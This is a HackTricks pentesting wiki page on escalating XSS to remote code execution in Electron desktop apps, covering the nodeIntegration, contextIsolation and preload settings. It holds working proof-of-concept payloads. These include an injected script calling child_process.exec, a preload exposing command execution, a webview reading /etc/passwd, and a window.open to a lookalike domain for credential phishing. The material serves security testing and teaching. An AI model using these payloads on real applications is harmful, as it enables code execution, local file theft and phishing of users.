hacktricks/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps
2022-04-27 16:38:13 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md GitBook: [#3110] No subject 2022-04-20 12:35:33 +00:00
electron-contextisolation-rce-via-preload-code.md GitBook: [#3110] No subject 2022-04-20 12:35:33 +00:00
README.md GitBook: [#3130] No subject 2022-04-27 16:38:13 +00:00

XSS to RCE Electron Desktop Apps

Electron is based on Chromium, but it is not a browser. Certain principles and security mechanisms implemented by modern browsers are not in place.

Electron has 2 process types:

  • Main Process
  • Renderer Process

A renderer process will be a browser window loading a file:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Settings of the renderer process can be configured in the main process inside the main.js file. Some of the configurations will prevent the Electron application to get RCE or other vulnerabilities if the settings are correctly configured.

The desktop application might have access to the users device through Node APIs. The following two configurations are responsible for providing mechanisms to prevent the application JavaScript from having direct access to the users device and system level commands.

  • nodeIntegration - is off by default. If on, allows to access node features from the renderer process.
  • contextIsolation - is on by default. If on, main and renderer processes aren't isolated.
  • preload - empty by default.

Example of configuration:

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

RCE: XSS + nodeIntegration

If the nodeIntegration is set to on, a web page's JavaScript can use Node.js features easily just by calling the require(). For example, the way to execute the calc application on Windows is:

<script>
  require('child_process').exec('calc');
</script>

RCE: preload

The script indicated in this setting is loaded before other scripts in the renderer, so it has unlimited access to Node APIs:

new BrowserWindow{
  webPreferences: {
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'perload.js'),
  }
});

Therefore, the script can export node-features to pages:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
    require('child_process').exec('calc')
};

{% endcode %}

{% code title="index.html" %}

<body>
    <script>
        typeof require === 'undefined';
        runCalc();
    </script>
</body>

{% endcode %}

{% hint style="info" %} If contextIsolation is on, this won't work {% endhint %}

RCE: XSS + contextIsolation

The contextIsolation introduces the separated contexts between the web page scripts and the JavaScript Electron's internal code so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.

If the contexts aren't isolated an attacker can:

  1. Execute arbitrary JavaScript in renderer (XSS or navigation to external sites)
  2. Overwrite the built-in method which is used in preload or Electron internal code to own function
  3. Trigger the use of overwritten function
  4. RCE?

There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code.

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

Read Internal Files: XSS + contextIsolation

If contextIsolation set to false you can try to use <webview> (similar to <iframe> butcan load local files) to read local files and exfiltrate them: using something like <webview src=”file:///etc/passwd”></webview>:

XSS Phishing via Internal URL regex bypass

Supposing you found a XSS but you cannot trigger RCE or steal internal files you could try to use it to steal credentials via phishing.

First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

The call to ** openInternally** will decide if the link will be opened in the desktop window as it's a link belonging to the platform, or if will be opened in the browser as a 3rd party resource.

In the case the regex used by the function is vulnerable to bypasses (for example by not escaping the dots of subdomains) an attacker could abuse the XSS to open a new window which will be located in the attackers infrastructure asking for credentials to the user:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

References